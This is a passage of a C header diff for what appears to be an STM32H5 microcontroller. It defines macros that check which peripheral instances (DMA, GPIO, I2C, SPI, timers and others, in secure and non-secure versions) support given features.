IS_DAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DAC1_NS) || ((INSTANCE) == DAC1_S)) + +/******************************* DCACHE Instances *****************************/ +#define IS_DCACHE_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DCACHE1_NS) || ((INSTANCE) == DCACHE1_S)) + +/******************************* DELAYBLOCK Instances *******************************/ +#define IS_DLYB_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DLYB_SDMMC1_NS) || \ + ((INSTANCE) == DLYB_SDMMC1_S) || \ + ((INSTANCE) == DLYB_OCTOSPI1_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI1_S )) + +/******************************** DMA Instances *******************************/ +#define IS_DMA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel0_NS) || ((INSTANCE) == GPDMA2_Channel0_S) || \ + ((INSTANCE) == GPDMA2_Channel1_NS) || ((INSTANCE) == GPDMA2_Channel1_S) || \ + ((INSTANCE) == GPDMA2_Channel2_NS) || ((INSTANCE) == GPDMA2_Channel2_S) || \ + ((INSTANCE) == GPDMA2_Channel3_NS) || ((INSTANCE) == GPDMA2_Channel3_S) || \ + ((INSTANCE) == GPDMA2_Channel4_NS) || ((INSTANCE) == GPDMA2_Channel4_S) || \ + ((INSTANCE) == GPDMA2_Channel5_NS) || ((INSTANCE) == GPDMA2_Channel5_S) || \ + ((INSTANCE) == GPDMA2_Channel6_NS) || ((INSTANCE) == GPDMA2_Channel6_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +#define IS_GPDMA_INSTANCE(INSTANCE) IS_DMA_ALL_INSTANCE(INSTANCE) + +#define IS_DMA_2D_ADDRESSING_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel6_NS) || ((INSTANCE) == GPDMA2_Channel6_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +#define IS_DMA_PFREQ_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel0_NS) || ((INSTANCE) == GPDMA2_Channel0_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +/****************************** OTFDEC Instances ********************************/ +#define IS_OTFDEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OTFDEC1_NS) || ((INSTANCE) == OTFDEC1_S)) + +/****************************** RAMCFG Instances ********************************/ +#define IS_RAMCFG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM1_NS) || ((INSTANCE) == RAMCFG_SRAM1_S) || \ + ((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG ECC Instances *****************************/ +#define IS_RAMCFG_ECC_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/************************ RAMCFG Write Protection Instances *********************/ +#define IS_RAMCFG_WP_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S)) + +/******************************* GPIO Instances *******************************/ +#define IS_GPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA_NS) || ((INSTANCE) == GPIOA_S) || \ + ((INSTANCE) == GPIOB_NS) || ((INSTANCE) == GPIOB_S) || \ + ((INSTANCE) == GPIOC_NS) || ((INSTANCE) == GPIOC_S) || \ + ((INSTANCE) == GPIOD_NS) || ((INSTANCE) == GPIOD_S) || \ + ((INSTANCE) == GPIOE_NS) || ((INSTANCE) == GPIOE_S) || \ + ((INSTANCE) == GPIOF_NS) || ((INSTANCE) == GPIOF_S) || \ + ((INSTANCE) == GPIOG_NS) || ((INSTANCE) == GPIOG_S) || \ + ((INSTANCE) == GPIOH_NS) || ((INSTANCE) == GPIOH_S)) + +/******************************* DCMI Instances *******************************/ +#define IS_DCMI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DCMI_NS) || ((__INSTANCE__) == DCMI_S)) + +/******************************* PSSI Instances *******************************/ +#define IS_PSSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == PSSI_NS) || ((__INSTANCE__) == PSSI_S)) + +/******************************* DTS Instances *******************************/ +#define IS_DTS_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DTS_NS) || ((__INSTANCE__) == DTS_S)) + +/******************************* GPIO AF Instances ****************************/ +/* On H5, all GPIO Bank support AF */ +#define IS_GPIO_AF_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/**************************** GPIO Lock Instances *****************************/ +/* On H5, all GPIO Bank support the Lock mechanism */ +#define IS_GPIO_LOCK_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/******************************** I2C Instances *******************************/ +#define IS_I2C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/****************** I2C Instances : wakeup capability from stop modes *********/ +#define IS_I2C_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) IS_I2C_ALL_INSTANCE(INSTANCE) + +/******************************** I3C Instances *******************************/ +#define IS_I3C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I3C1_NS) || ((INSTANCE) == I3C1_S) || \ + ((INSTANCE) == I3C2_NS) || ((INSTANCE) == I3C2_S)) + +/******************************* OSPI Instances *******************************/ +#define IS_OSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OCTOSPI1_NS) || ((INSTANCE) == OCTOSPI1_S)) + +/******************************* RNG Instances ********************************/ +#define IS_RNG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RNG_NS) || ((INSTANCE) == RNG_S)) + +/****************************** RTC Instances *********************************/ +#define IS_RTC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RTC_NS) || ((INSTANCE) == RTC_S)) + +/****************************** SDMMC Instances *******************************/ +#define IS_SDMMC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SDMMC1_NS) || ((INSTANCE) == SDMMC1_S)) + +/****************************** FDCAN Instances *******************************/ +#define IS_FDCAN_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FDCAN1_NS) || ((INSTANCE) == FDCAN1_S) || \ + ((INSTANCE) == FDCAN2_NS) || ((INSTANCE) == FDCAN2_S)) + +/****************************** SMBUS Instances *******************************/ +#define IS_SMBUS_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/******************************** SPI Instances *******************************/ +#define IS_SPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S) || \ + ((INSTANCE) == SPI4_NS) || ((INSTANCE) == SPI4_S)) + +#define IS_SPI_LIMITED_INSTANCE(INSTANCE) (((INSTANCE) == SPI4_NS) || ((INSTANCE) == SPI4_S)) + +#define IS_SPI_FULL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +/****************** LPTIM Instances : All supported instances *****************/ +#define IS_LPTIM_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** LPTIM Instances : DMA supported instances *****************/ +#define IS_LPTIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/************* LPTIM Instances : at least 1 capture/compare channel ***********/ +#define IS_LPTIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/************* LPTIM Instances : at least 2 capture/compare channel ***********/ +#define IS_LPTIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** LPTIM Instances : supporting encoder interface **************/ +#define IS_LPTIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** LPTIM Instances : supporting Input Capture **************/ +#define IS_LPTIM_INPUT_CAPTURE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** TIM Instances : All supported instances *******************/ +#define IS_TIM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting 32 bits counter ****************/ +#define IS_TIM_32B_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) + +/****************** TIM Instances : supporting the break function *************/ +#define IS_TIM_BREAK_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************** TIM Instances : supporting Break source selection *************/ +#define IS_TIM_BREAKSOURCE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting 2 break inputs *****************/ +#define IS_TIM_BKIN2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : at least 1 capture/compare channel *************/ +#define IS_TIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 2 capture/compare channels *************/ +#define IS_TIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 3 capture/compare channels *************/ +#define IS_TIM_CC3_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************ TIM Instances : at least 4 capture/compare channels *************/ +#define IS_TIM_CC4_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 5 capture/compare channels *******/ +#define IS_TIM_CC5_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 6 capture/compare channels *******/ +#define IS_TIM_CC6_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : DMA requests generation (TIMx_DIER.UDE) ***/ +#define IS_TIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : DMA requests generation (TIMx_DIER.CCxDE) *******/ +#define IS_TIM_DMA_CC_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************** TIM Instances : DMA burst feature ***********************/ +#define IS_TIM_DMABURST_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : output(s) available **********************/ +#define IS_TIM_CCX_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2)))) + +/****************** TIM Instances : supporting complementary output(s) ********/ +#define IS_TIM_CCXN_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1))) + +/****************** TIM Instances : supporting clock division *****************/ +#define IS_TIM_CLOCK_DIVISION_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****** TIM Instances : supporting external clock mode 1 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : supporting external clock mode 2 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting external clock mode 1 for TIX inputs*/ +#define IS_TIM_CLOCKSOURCE_TIX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting internal trigger inputs(ITRX) *******/ +#define IS_TIM_CLOCKSOURCE_ITRX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting combined 3-phase PWM mode ******/ +#define IS_TIM_COMBINED3PHASEPWM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting commutation event generation ***/ +#define IS_TIM_COMMUTATION_EVENT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting counting mode selection ********/ +#define IS_TIM_COUNTER_MODE_SELECT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting encoder interface **************/ +#define IS_TIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting Hall sensor interface **********/ +#define IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/**************** TIM Instances : external trigger input available ************/ +#define IS_TIM_ETR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : supporting ETR source selection ***************/ +#define IS_TIM_ETRSEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : Master mode available (TIMx_CR2.MMS available )********/ +#define IS_TIM_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || 